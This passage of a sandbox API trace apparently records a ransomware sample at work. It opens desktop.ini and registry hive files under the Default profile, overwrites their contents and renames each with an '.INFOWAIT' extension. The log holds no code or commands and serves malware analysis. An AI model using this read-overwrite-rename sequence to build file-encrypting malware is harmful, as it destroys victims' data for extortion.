Files\\Content.IE5\\RIJUQL1C\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\desktop.ini.INFOWAIT" [0142.732] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\rijuql1c\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\rijuql1c\\desktop.ini.infowait")) returned 1 [0142.732] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.733] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.733] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.733] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\x9ohk109\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.733] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x43 [0142.733] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.733] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.734] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x43, lpOverlapped=0x0) returned 1 [0142.735] VirtualAlloc (lpAddress=0x0, dwSize=0x43, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.735] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.735] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x43, lpOverlapped=0x0) returned 1 [0142.735] CloseHandle (hObject=0xad4) returned 1 [0142.735] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\desktop.ini" [0142.735] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\desktop.ini.INFOWAIT" [0142.735] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\x9ohk109\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\x9ohk109\\desktop.ini.infowait")) returned 1 [0142.736] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.736] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.737] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.737] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.737] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x43 [0142.737] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.738] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.738] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x43, lpOverlapped=0x0) returned 1 [0142.739] VirtualAlloc (lpAddress=0x0, dwSize=0x43, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.739] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.739] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x43, lpOverlapped=0x0) returned 1 [0142.739] CloseHandle (hObject=0xad4) returned 1 [0142.740] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini" [0142.740] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini.INFOWAIT" [0142.740] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\desktop.ini.infowait")) returned 1 [0142.740] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.741] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.741] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.741] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.741] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x40000 [0142.741] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.741] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.741] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0142.890] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0142.900] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.901] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0142.901] CloseHandle (hObject=0xad4) returned 1 [0142.901] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat" [0142.901] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.INFOWAIT" [0142.901] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat.infowait")) returned 1 [0142.902] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.903] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.903] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.903] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG1" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.904] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb400 [0142.904] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.904] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.904] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xb400, lpOverlapped=0x0) returned 1 [0143.010] VirtualAlloc (lpAddress=0x0, dwSize=0xb400, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0143.013] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.013] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xb400, lpOverlapped=0x0) returned 1 [0143.014] CloseHandle (hObject=0xad4) returned 1 [0143.014] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG1" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG1") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG1" [0143.014] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG1", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG1.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG1.INFOWAIT" [0143.014] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG1" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat.log1"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG1.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat.log1.infowait")) returned 1 [0143.015] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.015] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.016] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0143.016] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG2" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0143.016] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0143.016] CloseHandle (hObject=0xad4) returned 1 [0143.016] lstrcpyW (in: lpString1=0x26ef5c4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG2" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG2") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG2" [0143.016] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG2", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG2.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG2.INFOWAIT" [0143.016] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG2" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat.log2"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG2.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat.log2.infowait")) returned 1 [0143.017] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0143.017] GetLastError () returned 0x0 [0143.017] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0143.017] GetLastError () returned 0x0 [0143.017] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0143.017] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0143.020] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10000 [0143.020] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0143.020] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.020] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x10000, lpOverlapped=0x0) returned 1 [0143.093] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0143.097] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.097] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x10000, lpOverlapped=0x0) returned 1 [0143.098] CloseHandle (hObject=0xad4) returned 1 [0143.098] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf" [0143.098] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf.INFOWAIT" [0143.098] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.tm.blf"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.tm.blf.infowait")) returned 1 [0143.099] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.099] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.100] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0143.100] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.tmcontainer00000000000000000001.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0143.100] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x80000 [0143.100] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0143.100] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.100] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0143.208] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0143.218] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.219] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0143.219] CloseHandle (hObject=0xad4) returned 1 [0143.219] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms" [0143.219] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms.INFOWAIT" [0143.219] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.tmcontainer00000000000000000001.regtrans-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.tmcontainer00000000000000000001.regtrans-ms.infowait")) returned 1 [0143.220] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.221] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.222] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0143.222] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.tmcontainer00000000000000000002.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0143.223] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x80000 [0143.223] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0143.223] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.224] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0143.290] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0143.302] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.302] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0143.303] CloseHandle (hObject=0xad4) returned 1 [0143.303] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms" [0143.303] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms", lpString2=".INFOWAIT" | out: 